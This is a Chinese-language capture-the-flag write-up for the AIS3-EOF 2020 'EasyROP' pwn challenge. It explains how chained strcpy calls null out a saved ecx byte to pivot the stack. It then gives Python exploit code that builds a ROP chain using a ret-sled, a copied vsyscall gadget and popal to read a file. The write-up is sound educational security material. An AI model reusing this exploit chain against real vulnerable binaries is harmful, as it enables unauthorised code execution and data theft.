AIS3-EOF-Qual 2020 - [Pwn] EasyROP
===
- [Description](#Description)
- [Begin & End of main](#Begin-amp-End-of-main)
- [Vulnerability](#Vulnerability)
- [Exploit](#Exploit)
- [Other](#Other)
- [Reference](#Reference)
# Description

出題者給了 Docker, 上面運行著 EasyRop, 並要先通過 pow 才能打
攻擊腳本跟這篇 Write up 忽略 pow 的部分
# Begin & End of main
```c
lea ecx, [esp+4]
and esp, 0FFFFFFF0h
push dword ptr [ecx-4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
...
mov eax, 0
mov esp, esi
lea esp, [ebp-10h]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx-4]
retn
```
這跟常見的 function 長得不太一樣, 這邊來了解看看他
經過實測後, 發現進到 main 時 esp 的值都是 0xXXXXXXXc
以下假設是 0xffbebc2c
而 0xffbebc2c 指向 `__libc_start_main+241`, 也就是 return address
執行完 main 後會跳回這地方
以下分成幾個部分講解
```
lea ecx, [esp+4]
and esp, 0FFFFFFF0h
push dword ptr [ecx-4]
```
ecx 變成 0xffbebc30
esp 變成 0xffbebc20
push 後, esp 變成 0xffbebc1c, 0xffbebc1c 會指向 `__libc_start_main+241`
```
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
```
前兩行是正常 function 會有的東西
push ebp 後, esp 變成 0xffbebc18, 上面存放著 old ebp
ebp 變成 0xffbebc18
後四行存暫存器的值到 stack 上
| registers | offset | 值 |
| -------- | -------- | -------- |
| esp | -0x10h | ecx |
| | -0xc | ebx |
| | -0x8 | esi |
| | -0x4 | edi |
| ebp | 0 | old ebp |
| | 0x4 | return address |
當 function 要 return 0 時
```
mov eax, 0
```
表示 return 0
```
mov esp, esi
lea esp, [ebp-10h]
```
這兩行最終有效的只有第二行, 第一行應該只是上個指令編出來的產物(總之不用管)
```
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx-4]
retn
```
全部照順序 pop 回來
並且將 esp 恢復到正確的位置後才 ret
# Vulnerability
參考反編譯出來的 [main.c](#) 以及如下的 memory 配置圖

好像太醜了,其實也可以只看 c 就好
```c
strcpy((char *)&v6, (const char *)s);
strcpy((char *)s, &buf);
strcpy(&buf, dest);
```
(第一個的 &v6 實際上就是 dest)
若 s, buf 都放了 0x40 Bytes, 那
1. 從 s 放到 dest 0x40 Bytes
2. 從 buf 放到 s 0x40 Bytes
3. **從 dest 放到 buf 時, 會放 0x80 Bytes**
- **因為此時 dest 會是有 0x80 Bytes 的區間都沒有 null byte !!**
- strcpy 放了 0x80 Bytes 後, 後面再加上 null byte
- **就把 old ecx 的最後一 byte 蓋成 0x00 !**
最後 return 時 esp 會變成 ecx - 4 再 return, 以下分兩種狀況
- old ecx 最後一 byte 本來就是 0x00
- 以上圖來說, old ecx 會等於 0xFFFFD600
- 沒有影響, 程式正確執行
- **最後一 byte 不是 0x00**
- **跳到前面 dest, s, buf 區間**
- 因為 ASLR, 所以無法預測準確會跳到哪
# Exploit
```python
buf = 0x804a210
size = 0x01010101
payload = p32(ret)*0xb
payload += p32(pop_ebp)
payload += p32(buf+0x24)
payload += p32(0x8048775) # push 0, call read
payload += p32(buf)
payload += p32(size) # back to main, call read(0, buf, size)
assert len(payload) == 0x40
send(payload)
payload = p32(ret)*0x10
assert len(payload) == 0x40
send(payload)
```
根據前面說的, 輸入兩次 0x40 bytes 長的咚咚
ecx 最後一 byte 被蓋成 0x00, 導致 esp 指向到 dest s buf 區間(但不知準確位置)
而這個位置只有 20 bytes 是主要一定要被執行到的 gadget
在這 20 bytes 前都塞入單純 ret 的 gadget
就能提高有執行到那 20 bytes 的機率
而這 gadget 功能主要是執行 `read(0, buf, size)`
```python
# Now we have a beautiful rop environment
buf2 = buf+0xb00
# copy syscall gadget:
# __GI___libc_read+0x20: call DWORD PTR gs:0x10
# (call __kernel_vsyscall)
rop = flat(
strcpy_plt, pop_pop, buf+0x200, d0,
strcpy_plt, pop_pop, buf+0x201, read_got+1,
strcpy_plt, pop_pop, buf+0x204, null_buf,
strcpy_plt, pop_pop, buf+0x300, buf+0x200,
strcpy_plt, pop_pop, buf+0x400, buf+0x200,
strcpy_plt, pop_pop, buf+0x500, buf+0x200)
rop += flat(
read_plt, pop_pop_pop, 0, buf+0x208, len(filename),
read_plt, pop_pop_pop, 0, buf+0x300-0x24, 0x24,
read_plt, pop_pop_pop, 0, buf+0x300+0x20, 0x24,
read_plt, pop_pop_pop, 0, buf+0x400-0x24, 0x24,
read_plt, pop_pop_pop, 0, buf+0x400+0x20, 0x24,
read_plt, pop_pop_pop, 0, buf+0x500-0x24, 0x24,
pop_ebp, buf+0x300-0x24-0x4, leave_ret)
fakeecx = buf+0x28+0x4 # make esp point to rop chain
fakeebx = 0x03030303
fakeesi = 0x04040404
fakeedi = 0x05050505
fakeebp = buf2
payload = flat(
buf - 0x30,
0x01010101,
0x01010101,
0x01010101,
0x01010101,
fakeecx,
fakeebx,
fakeesi,
fakeedi,
fakeebp
)
payload += rop
send(payload)
```
這段就是對應 `read(0, buf, size)` 的輸入
因為執行流跑到了 main 中的第二次 read, 接下來還會執行一系列 `strlen`, 3 次 `strcpy` 之類的
需要讓這些 code 安然執行到 return
最後會跳上 rop chain, 前三個 strcpy gadget 在做 `call DWORD PTR gs:0x10` 這個 gadget
根據 Reference 6
> gs:0x10 is where libc copies the address of __kernel_vsyscall during its initialization.
>
這咚咚效果跟用法都跟 `int 0x80` 一樣
先把這三個 gadget 安排到三個位置, 再來將準備 open read write 參數的 gadget 分別寫到這三個位置前方, 如此一來就能執行這三個 syscall
當然, 還要在這三個位置後方加上 stack pivoting 的 gadget, 才能跳到下個 gadget
```python
# popal: edi, esi, ebp, skip,
# ebx, edx, ecx, eax
# open
rop = flat(
popal,
0, 0, buf, 0,
buf+0x208, 0, 0, 5
)
send(rop)
```
**popal 這個 gadget 很威猛**, 一個指令就能 pop edi, esi, ebp, esp, ebx, edx, ecx, eax
實測時會忽略 pop esp, esp 不會改變, 讓 ROP chain 不會壞掉, 讚讚
# Other
- 為何在 function call 後面會看到 `add esp`? 原因是為了對齊 16 Bytes, 而對齊這件事情跟效能有關, 舉例來說
```
sub esp, 4
push [ebp+nbytes] ; nbytes
push eax ; buf
push 0 ; fd
call _read
add esp, 10h
```
可以看到 `_read` 吃三個參數, 占了 12 Bytes, 為了對齊 16 Bytes, 前面會先 `sub esp, 4`, 呼叫之後直接歸還 16 Bytes 空間
# Reference
1. https://hackmd.io/@cXpZn6ltSku4Vwx_OL0bqA/SyyxioFgI#EasyROP
2. https://reverseengineering.stackexchange.com/questions/15173/what-is-the-purpose-of-these-instructions-before-the-main-preamble
3. http://www.lenky.info/archives/2013/02/2198
4. http://articles.manugarg.com/systemcallinlinux2_6.html
5. https://lists.gt.net/linux/kernel/970025
6. https://stackoverflow.com/questions/41690592/what-does-gs0x10-do-in-assembler
###### tags: `CTF`